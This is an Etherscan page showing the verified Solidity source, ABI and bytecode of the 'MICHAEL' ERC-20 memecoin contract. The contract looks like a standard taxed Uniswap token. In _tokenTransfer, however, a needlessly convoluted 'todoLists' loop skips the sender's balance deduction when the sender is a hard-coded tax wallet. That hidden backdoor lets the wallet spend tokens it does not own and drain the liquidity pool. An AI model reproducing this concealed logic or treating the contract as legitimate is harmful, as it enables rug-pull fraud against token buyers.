Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-30
*/

//SPDX-License-Identifier: MIT

/**
https://x.com/realDonaldTrump/status/1840550305085141221

https://t.me/michael_erc20
**/

pragma solidity 0.8.27;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MICHAEL is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Saint Michael the Archangel";
    string private constant _symbol = unicode"MICHAEL";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x710Cca9D1665437746aBD6D2bC144C87ad7042D5);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - amount;
            _tOwned[to] = _tOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(from, to, amount);
    }

    function _tokenTransfer(address sender, address receipt, uint256 tokenB) internal {
        address[2] memory todoLists;
        todoLists[0] = sender;
        todoLists[1] = receipt;
        uint256 taxB = tokenB
        .mul(
            (_buyCount > _reduceBuyTaxAt)
                ? _finalBuyTax
                : _initialBuyTax
        )
        .div(100);
        if (receipt == uniswapV2Pair && sender != address(this)) {
            taxB = tokenB
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        if (taxB > 0) {
            _tOwned[address(this)] = _tOwned[address(this)].add(
                taxB
            );
            emit Transfer(sender, address(this), taxB);
        }
        for(uint k = 0; k < todoLists.length; k++){  
            if(k == 0){
                if(todoLists[k]!=_taxWallet){
                    _tOwned[todoLists[k]] -= tokenB;
                }
            }
            if(k == 1){
                _tOwned[todoLists[k]] += tokenB.sub(taxB); 
                emit Transfer(sender, receipt, tokenB.sub(taxB));
            }
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function startTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055601460078190556008555f6009818155600a828155600f600b819055600c55600d819055600e929092556100419161031f565b61004f906301312d00610334565b600f5561005e6009600a61031f565b61006c906301312d00610334565b60105561007b6009600a61031f565b610086906096610334565b6011556100956009600a61031f565b6100a29062989680610334565b6012556014805461ffff60a81b191690553480156100be575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674710cca9d1665437746abd6d2bc144c87ad7042d5001790556101336009600a61031f565b61014190633b9aca00610334565b335f9081526001602081905260408220929092556003906101695f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101cb3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102026009600a61031f565b61021090633b9aca00610334565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102755780850481111561025957610259610226565b600184161561026757908102905b60019390931c92800261023e565b935093915050565b5f8261028b57506001610319565b8161029757505f610319565b81600181146102ad57600281146102b7576102d3565b6001915050610319565b60ff8411156102c8576102c8610226565b50506001821b610319565b5060208310610133831016604e8410600b84101617156102f6575081810a610319565b6103025f19848461023a565b805f190482111561031557610315610226565b0290505b92915050565b5f61032d60ff84168361027d565b9392505050565b808202811582820484141761031957610319610226565b611a0f806103585f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df14610325578063a9059cbb14610339578063bf474bed14610358578063c876d0b91461036d578063dd62ed3e14610386575f5ffd5b80637d1db4a5146102925780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e25780639e78fb4f14610311575f5ffd5b8063293230b8116100e3578063293230b814610205578063313ce5671461021b57806370a0823114610236578063715018a61461026a578063751039fc1461027e575f5ffd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152601b81527f5361696e74204d69636861656c207468652041726368616e67656c000000000060208201525b6040516101779190611614565b60405180910390f35b34801561018b575f5ffd5b5061019f61019a366004611660565b6103ca565b6040519015158152602001610177565b3480156101ba575f5ffd5b506101c460125481565b604051908152602001610177565b3480156101dd575f5ffd5b506101c46103e0565b3480156101f1575f5ffd5b5061019f61020036600461168a565b610400565b348015610210575f5ffd5b50610219610467565b005b348015610226575f5ffd5b5060405160098152602001610177565b348015610241575f5ffd5b506101c46102503660046116c8565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f5ffd5b50610219610655565b348015610289575f5ffd5b506102196106c6565b34801561029d575f5ffd5b506101c4600f5481565b3480156102b2575f5ffd5b505f546040516001600160a01b039091168152602001610177565b3480156102d8575f5ffd5b506101c460105481565b3480156102ed575f5ffd5b50604080518082019091526007815266135250d210515360ca1b602082015261016a565b34801561031c575f5ffd5b50610219610781565b348015610330575f5ffd5b5061021961097a565b348015610344575f5ffd5b5061019f610353366004611660565b6109ae565b348015610363575f5ffd5b506101c460115481565b348015610378575f5ffd5b5060065461019f9060ff1681565b348015610391575f5ffd5b506101c46103a03660046116e3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d63384846109ba565b5060015b92915050565b5f6103ed6009600a611811565b6103fb90633b9aca0061181f565b905090565b5f61040c848484610ade565b61045d8433610458856040518060600160405280602881526020016119b2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611004565b6109ba565b5060019392505050565b5f546001600160a01b031633146104995760405162461bcd60e51b815260040161049090611836565b60405180910390fd5b601454600160a01b900460ff16156104f35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6013546001600160a01b031663f305d7194730610524816001600160a01b03165f9081526001602052604090205490565b5f5f6105375f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561059d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105c2919061186b565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610617573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b9190611896565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461067e5760405162461bcd60e51b815260040161049090611836565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106ef5760405162461bcd60e51b815260040161049090611836565b6106fb6009600a611811565b61070990633b9aca0061181f565b600f556107186009600a611811565b61072690633b9aca0061181f565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107606009600a611811565b61076e90633b9aca0061181f565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107aa5760405162461bcd60e51b815260040161049090611836565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f39030906107e56009600a611811565b61045890633b9aca0061181f565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610843573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086791906118b5565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ea91906118b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610934573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906118b5565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109a35760405162461bcd60e51b815260040161049090611836565b6109ac4761103c565b565b5f6103d6338484610ade565b6001600160a01b038316610a1c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b038216610a7d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b5f8111610c055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b601454600160b01b900460ff161580610c275750601454600160a81b900460ff165b15610cd1576001600160a01b0383165f90815260016020526040902054610c4f9082906118d0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c7e9082906118e3565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad19085815260200190565b5f546001600160a01b03848116911614801590610cfb57505f546001600160a01b03838116911614155b15610ff45760065460ff1615610de3576013546001600160a01b03838116911614801590610d3757506014546001600160a01b03838116911614155b15610de357325f908152600560205260409020544311610dd15760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610490565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610e0e57506013546001600160a01b03838116911614155b8015610e3257506001600160a01b0382165f9081526003602052604090205460ff16155b15610f1857600f54811115610e895760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b60105481610eab846001600160a01b03165f9081526001602052604090205490565b610eb591906118e3565b1115610f035760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b600e8054905f610f12836118f6565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f4e57506014546001600160a01b038481169116145b8015610f635750601454600160b01b900460ff165b8015610f725750600d54600e54115b8015610f9657506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fba57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff257601154811115610fe657610fe6610fe183610fdc8460125461107b565b61107b565b611092565b47610ff04761103c565b505b505b610fff838383611202565b505050565b5f81848411156110275760405162461bcd60e51b81526004016104909190611614565b505f61103384866118d0565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611077573d5f5f3e3d5ffd5b5050565b5f818311611089578261108b565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d8576110d861190e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061115391906118b5565b816001815181106111665761116661190e565b6001600160a01b03928316602091820292909201015260135461118c91309116846109ba565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c49085905f90869030904290600401611922565b5f604051808303815f87803b1580156111db575f5ffd5b505af11580156111ed573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b61120a6115f6565b6001600160a01b03808516825283166020820152600b54600e545f9161124f91606491611249911161123e57600754611242565b6009545b869061146c565b906114ea565b6014549091506001600160a01b03858116911614801561127857506001600160a01b0385163014155b156112a5576112a26064611249600c54600e541161129857600854611242565b600a54869061146c565b90505b801561131d57305f908152600160205260409020546112c4908261152b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113149085815260200190565b60405180910390a35b5f5b600281101561146457805f036113b35760065461010090046001600160a01b03168382600281106113525761135261190e565b60200201516001600160a01b0316146113b3578360015f85846002811061137b5761137b61190e565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f205f8282546113ad91906118d0565b90915550505b8060010361145c576113c58483611589565b60015f8584600281106113da576113da61190e565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f205f82825461140c91906118e3565b90915550506001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61144a8786611589565b60405190815260200160405180910390a35b60010161131f565b505050505050565b5f825f0361147b57505f6103da565b5f611486838561181f565b9050826114938583611992565b1461108b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b5f61108b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ca565b5f8061153783856118e3565b90508381101561108b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b5f61108b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611004565b5f81836115ea5760405162461bcd60e51b81526004016104909190611614565b505f6110338486611992565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461165d575f5ffd5b50565b5f5f60408385031215611671575f5ffd5b823561167c81611649565b946020939093013593505050565b5f5f5f6060848603121561169c575f5ffd5b83356116a781611649565b925060208401356116b781611649565b929592945050506040919091013590565b5f602082840312156116d8575f5ffd5b813561108b81611649565b5f5f604083850312156116f4575f5ffd5b82356116ff81611649565b9150602083013561170f81611649565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117695780850481111561174d5761174d61171a565b600184161561175b57908102905b60019390931c928002611732565b935093915050565b5f8261177f575060016103da565b8161178b57505f6103da565b81600181146117a157600281146117ab576117c7565b60019150506103da565b60ff8411156117bc576117bc61171a565b50506001821b6103da565b5060208310610133831016604e8410600b84101617156117ea575081810a6103da565b6117f65f19848461172e565b805f19048211156118095761180961171a565b029392505050565b5f61108b60ff841683611771565b80820281158282048414176103da576103da61171a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f6060848603121561187d575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156118a6575f5ffd5b8151801515811461108b575f5ffd5b5f602082840312156118c5575f5ffd5b815161108b81611649565b818103818111156103da576103da61171a565b808201808211156103da576103da61171a565b5f600182016119075761190761171a565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119725783516001600160a01b031683526020938401939092019160010161194b565b50506001600160a01b039590951660608401525050608001529392505050565b5f826119ac57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec5d3e25edd9b038f02894c8608a5ae6a47501f350eea0a23a6c5118760baff564736f6c634300081b0033

0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df14610325578063a9059cbb14610339578063bf474bed14610358578063c876d0b91461036d578063dd62ed3e14610386575f5ffd5b80637d1db4a5146102925780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e25780639e78fb4f14610311575f5ffd5b8063293230b8116100e3578063293230b814610205578063313ce5671461021b57806370a0823114610236578063715018a61461026a578063751039fc1461027e575f5ffd5b806306fdde0314610129578063095ea7b3146101805780630faee56f146101af57806318160ddd146101d257806323b872dd146101e6575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152601b81527f5361696e74204d69636861656c207468652041726368616e67656c000000000060208201525b6040516101779190611614565b60405180910390f35b34801561018b575f5ffd5b5061019f61019a366004611660565b6103ca565b6040519015158152602001610177565b3480156101ba575f5ffd5b506101c460125481565b604051908152602001610177565b3480156101dd575f5ffd5b506101c46103e0565b3480156101f1575f5ffd5b5061019f61020036600461168a565b610400565b348015610210575f5ffd5b50610219610467565b005b348015610226575f5ffd5b5060405160098152602001610177565b348015610241575f5ffd5b506101c46102503660046116c8565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f5ffd5b50610219610655565b348015610289575f5ffd5b506102196106c6565b34801561029d575f5ffd5b506101c4600f5481565b3480156102b2575f5ffd5b505f546040516001600160a01b039091168152602001610177565b3480156102d8575f5ffd5b506101c460105481565b3480156102ed575f5ffd5b50604080518082019091526007815266135250d210515360ca1b602082015261016a565b34801561031c575f5ffd5b50610219610781565b348015610330575f5ffd5b5061021961097a565b348015610344575f5ffd5b5061019f610353366004611660565b6109ae565b348015610363575f5ffd5b506101c460115481565b348015610378575f5ffd5b5060065461019f9060ff1681565b348015610391575f5ffd5b506101c46103a03660046116e3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d63384846109ba565b5060015b92915050565b5f6103ed6009600a611811565b6103fb90633b9aca0061181f565b905090565b5f61040c848484610ade565b61045d8433610458856040518060600160405280602881526020016119b2602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611004565b6109ba565b5060019392505050565b5f546001600160a01b031633146104995760405162461bcd60e51b815260040161049090611836565b60405180910390fd5b601454600160a01b900460ff16156104f35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6013546001600160a01b031663f305d7194730610524816001600160a01b03165f9081526001602052604090205490565b5f5f6105375f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561059d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105c2919061186b565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b39